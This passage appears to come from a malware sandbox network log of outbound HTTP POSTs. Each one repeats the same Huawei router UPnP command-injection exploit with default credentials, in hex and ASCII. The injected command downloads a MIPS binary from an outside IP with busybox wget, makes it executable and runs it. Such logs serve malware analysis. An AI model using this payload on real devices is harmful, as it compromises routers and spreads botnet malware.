-r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:32.454304934 CET	1349	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:57.794888973 CET	2046	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	156.247.21.183	37215	192.168.2.23	37542

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:10.210320950 CET	764	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:14.280788898 CET	842	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:20.423923969 CET	1034	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:32.454304934 CET	1349	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:57.794888973 CET	2046	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	156.235.97.221	37215	192.168.2.23	59056

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:22.812829971 CET	1111	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:23.691473007 CET	1115	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
